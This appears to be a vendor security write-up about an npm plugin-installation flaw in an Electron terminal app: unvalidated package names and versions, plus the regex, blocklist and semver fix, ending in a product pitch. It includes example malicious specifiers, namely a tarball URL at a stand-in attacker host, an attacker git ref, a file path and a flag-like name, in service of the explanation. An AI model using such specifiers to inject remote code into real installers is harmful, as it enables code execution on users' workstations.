The one-line version
PluginManagerService.installPlugin(plugin: PluginInfo) took a package name and a version string from a plugin listing and handed both to the platform's npm install wrapper without validating either one. There was no name allowlist, no blocklist, no semver check, and no cryptographic verification of the artifact that came back.
Affected Versions
| Affected | not applicable (first-party code) — the PluginManagerService.installPlugin() code path |
| Fixed in | not applicable (first-party code) — fixed in the referenced commit, no version number assigned |
| Ecosystem | npm |
| CVE / GHSA | not assigned |
| CWE | unknown |
Introduction
A high-severity flaw sat in the plugin installation path of an Electron-based terminal application. The public entry point looked innocuous:
async installPlugin (plugin: PluginInfo): Promise<void> {
try {
await this.platform.installPlugin(plugin.packageName, plugin.version)
this.installedPlugins = this.installedPlugins.filter(x => x.packageName !== plugin.packageName)
this.installedPlugins.push(plugin)
Two fields — plugin.packageName and plugin.version — travel from a PluginInfo object straight into a privileged installer that shells out to npm. Neither field was checked. The service also performed no integrity verification on the downloaded package: no checksum comparison, no signature check, nothing that would distinguish the intended tarball from one swapped in transit or served by a poisoned mirror or corporate proxy.
That combination matters far beyond this one application. Any code that builds an installer command from data it received over the network is effectively treating that data as a specifier grammar, and npm's specifier grammar is much richer than "a version number."
The Vulnerability Explained
Where the data comes from
PluginInfo objects are populated from the plugin discovery feed — the registry search results for the plugin keyword — merged with locally stored plugin metadata. From the perspective of installPlugin(), that is untrusted input. Three realistic ways it goes bad:
- Typosquatting / malicious publishing. Anyone can publish to a public registry. A plausible-looking plugin appears in the browse list, and one click installs it.
- MITM or mirror poisoning. Because the fetched artifact was never checksummed or signature-verified, an attacker positioned between the app and the registry (a hostile network, a misconfigured TLS-terminating proxy, a compromised internal mirror) could substitute both the listing metadata and the tarball.
- Metadata tampering. Locally cached or synced plugin metadata that reaches
installPlugin()did not have to survive any structural check on the way in.
Why an unvalidated version is as dangerous as an unvalidated name
This is the part developers most often miss. When a value is passed to npm as the version half of a name@version specifier, npm does not require it to be a semver string. It accepts:
- an HTTPS tarball URL —
https://attacker.example/payload.tgz - a git reference —
github:attacker/payload#main - a filesystem path —
file:../../tmp/payload - a dist-tag —
latest, or any tag the publisher controls
So a listing entry of { packageName: 'tabby-plugin-theme', version: 'https://attacker.example/payload.tgz' } does not install a version of that plugin at all. It installs whatever the attacker is serving. And because npm executes preinstall/install/postinstall lifecycle scripts by default, the payload runs immediately — inside a desktop app process with full Node and Electron privileges: filesystem read/write, child process spawning, network access, and access to whatever the app already holds (SSH configuration, saved credentials, session state).
Why an unvalidated packageName compounds it
The name field was equally open. It could name any package in the registry — no requirement that it even look like a plugin for this application — and it could contain characters that are meaningful to an argument parser rather than to a registry lookup. A name beginning with - is the classic case: it stops being a package and starts being a flag.
Real-world impact
A single click in the plugin browser, on a listing the user has no way to audit, results in arbitrary code execution on the developer's workstation with the user's full privileges. For a terminal emulator — a tool whose entire purpose is holding credentials and shell sessions — that is close to the worst possible outcome. There was no sandbox, no permission model, and no runtime isolation to fall back on.
The Fix
The fix adds a validation gate at the very top of installPlugin(), before any privileged call happens, and imports one more helper from semver:
import { compare as semverCompare, valid as semverValid } from 'semver'
async installPlugin (plugin: PluginInfo): Promise<void> {
if (!/^(tabby|terminus)-[a-zA-Z0-9._-]+$/.test(plugin.packageName) || PLUGIN_BLACKLIST.includes(plugin.packageName)) {
throw new Error(`Refusing to install disallowed package: ${plugin.packageName}`)
}
if (!semverValid(plugin.version)) {
throw new Error(`Refusing to install package with invalid version: ${plugin.version}`)
}
Three distinct controls, each closing a different hole:
1. An anchored name grammar. ^(tabby|terminus)-[a-zA-Z0-9._-]+$ requires the name to start with one of the two supported plugin prefixes and to consist only of alphanumerics, dots, underscores, and hyphens after that. The anchors are load-bearing: without ^ and $, a name like evil-pkg;tabby-x would match a substring and pass. This single check eliminates leading-dash flag injection, scoped names containing @ and /, path traversal sequences using /, shell metacharacters, and the entire universe of registry packages that are not plugins for this application.
2. An explicit blocklist. PLUGIN_BLACKLIST.includes(plugin.packageName) covers the case a prefix allowlist cannot: a package that legitimately matches the naming convention but is known-bad — a retired plugin with a hijacked publish account, or a known typosquat of a popular plugin. An allowlist of shape and a denylist of specific known-bad names answer different questions, which is why both are present.
3. Exact-version enforcement. semverValid(plugin.version) returns null for anything that is not a valid single semver version. Ranges (^1.0.0, >=2), dist-tags (latest), tarball URLs, git refs, and file: paths all fail. This is the check that converts "install whatever this string points at" into "install exactly this published version," and it is the direct counter to the tarball-URL and git-ref injection described above.
Both checks throw rather than silently skipping, so a tampered listing surfaces as a visible error instead of a quiet no-op — important, because a quiet failure would hide the attack attempt.
What the fix deliberately does not claim
This is defense in depth, not a complete plugin security model. A malicious plugin published under a compliant tabby- prefixed name still installs and still runs unsandboxed, and there is still no checksum or signature verification of the artifact that comes down the wire. The fix shrinks the attack surface from "any package or URL in the world" to "a plugin-shaped, non-blocklisted, exact-version package from the registry." Signing and runtime isolation remain separate, larger pieces of work.
Key Takeaways
npm install <name>@<version>treats the version half as a specifier, not a number. A tarball URL,github:user/repo, orfile:path in that position is a valid instruction to fetch and execute foreign code. Validating it withsemverValid()is not cosmetic hygiene — it is the security control.- Anchor your allowlist regex.
^(tabby|terminus)-[a-zA-Z0-9._-]+$is safe; the same pattern without^/$would match inside a hostile string and let it through. - A prefix allowlist and a name blocklist are not redundant.
PLUGIN_BLACKLISTcatches the known-bad package that happens to satisfy the naming convention; the regex catches everything that does not look like a plugin at all. - Validate before the privileged call, and throw. Placing the guards as the first statements of
installPlugin()meansplatform.installPlugin()is never reached with untrusted arguments, and the thrown error makes tampering observable. - Downloading without verifying is trusting the network. With no checksum or signature check on the fetched plugin artifact, TLS is the only thing standing between the app and a substituted payload — and TLS-terminating proxies are common in exactly the enterprise environments this kind of tool runs in.
How Orbis AppSec Detected This
- Source: the
packageNameandversionfields of aPluginInfoobject, populated from the remote plugin discovery listing and locally stored plugin metadata. - Sink: the platform service's
installPlugin(packageName, version)routine, which builds and executes annpm installspecifier and lets npm run the package's lifecycle scripts with full Electron/Node privileges. - Missing control: no allowlist on the package name, no blocklist of known-bad packages, no restriction of the version to an exact semver value, and no checksum or signature verification of the downloaded artifact.
- CWE: unknown — no CWE identifier was assigned to this finding.
- Fix:
installPlugin()now throws unless the package name matches^(tabby|terminus)-[a-zA-Z0-9._-]+$, is absent fromPLUGIN_BLACKLIST, and is paired with a version thatsemverValid()accepts.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerable version of installPlugin() did exactly what it looked like it did — it installed the plugin it was told to install. The problem was that "which plugin" and "which version" came from a network listing that nothing verified, and that npm's version field accepts tarball URLs and git refs as readily as it accepts 1.2.3. Three lines of validation — an anchored tabby-/terminus- name grammar, a PLUGIN_BLACKLIST lookup, and semverValid(plugin.version) — cut off arbitrary-package and arbitrary-URL installs before the privileged installer is ever invoked. If your own code builds a package specifier, a download URL, or an installer argument from remote metadata, check the version field with the same suspicion you apply to the name.